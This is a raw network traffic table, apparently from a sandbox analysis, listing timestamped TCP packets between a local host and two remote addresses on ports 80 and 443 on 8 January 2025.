Jan 8, 2025 09:42:34.127794981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.127800941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.127809048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.127814054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.127857924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.127857924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.127887964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.127895117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.127899885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.127907038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.127965927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.149158001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.149183989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.149194956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.149204016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.149223089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.149230003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.149244070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.149250031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.149274111 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.149333954 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.192357063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.192373037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.192383051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.192394972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.192401886 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.192409039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.192415953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.192497015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.192538023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.212987900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.212994099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213037014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213113070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213113070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213139057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213148117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213181019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213188887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213202000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213213921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213217974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213217974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213221073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213228941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213234901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213239908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213246107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213260889 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213264942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213299990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213299990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213300943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213309050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213320017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213325977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213331938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213339090 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213365078 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213371992 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213371992 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213382959 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213392019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213404894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.213407993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213423014 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.213444948 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216555119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216576099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216587067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216593981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216619968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216636896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216644049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216656923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216660023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216701984 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216711998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216722965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216733932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216738939 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216744900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216749907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216763973 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216769934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216774940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216804028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216810942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216830969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216841936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216850042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216866016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216877937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216877937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216878891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216877937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216877937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216893911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216907024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216912985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216922998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216929913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216934919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216943979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216943979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216958046 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216967106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216974974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216979980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.216989040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.216990948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217004061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217005014 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217051029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217051029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217057943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217063904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217077017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217082977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217087984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217093945 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217185020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217463970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217472076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217484951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217534065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217575073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217592955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217603922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217608929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217614889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217619896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217632055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217638016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217641115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217641115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217643976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217653036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217658997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217686892 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217686892 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217709064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217710972 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217721939 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217739105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217750072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217761993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217777014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217788935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217789888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217789888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217794895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217804909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217811108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217830896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217830896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217863083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217869997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217883110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217907906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217916012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217921972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217927933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217930079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217935085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217957973 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217973948 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217973948 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.217978001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217988014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217994928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.217995882 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.218002081 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218010902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218015909 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.218046904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.218327045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218334913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218349934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218369007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218377113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.218381882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218389034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218395948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218405008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218405008 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.218405962 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.218410969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.218441963 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.218462944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.239917994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.239928007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.239934921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.239939928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.239953995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.239959955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.239968061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.239984035 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.240026951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.282946110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.282958031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.282978058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.282989979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.283003092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.283027887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.283034086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.283057928 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.283122063 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303616047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303625107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303636074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303693056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303733110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303742886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303747892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303761959 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303767920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303776026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303781986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303790092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303796053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303806067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303806067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303843975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303845882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303853989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303869009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303915024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303915024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303921938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303932905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303940058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303945065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303952932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303966045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303988934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.303994894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303994894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.303997993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.304023981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.304048061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307055950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307061911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307074070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307080030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307148933 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307157993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307172060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307178974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307185888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307225943 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307248116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307261944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307270050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307276964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307281971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307287931 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307293892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307307005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307316065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307318926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307336092 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307343006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307353020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307353973 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307359934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307374954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307387114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307393074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307404995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307406902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307406902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307411909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307420969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307425976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307441950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307470083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307470083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307497025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307511091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307521105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307528019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307542086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307543039 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307548046 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.307562113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307579994 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307611942 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:34.307945967 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:34.308046103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:36.653443098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:36.653537035 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:44:16.964096069 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:16.964144945 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:16.964211941 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:16.965675116 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:16.965694904 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.428607941 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.428721905 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.432810068 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.432821989 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.433096886 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.484102964 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.484139919 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.484210014 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.895989895 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.896085978 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.896296024 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.898699045 CET	49979	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.898731947 CET	443	49979	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.907618999 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.907659054 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:17.907797098 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.908164024 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:17.908174038 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.381567955 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.381645918 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.383856058 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.383867979 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.384124994 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.385689020 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.385727882 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.385754108 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.642508030 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:44:18.854039907 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854091883 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854139090 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854163885 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.854168892 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854183912 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854217052 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854231119 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.854243994 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854257107 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.854263067 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854309082 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854350090 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.854355097 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.854429007 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.858773947 CET	443	49980	104.21.80.1	192.168.2.8
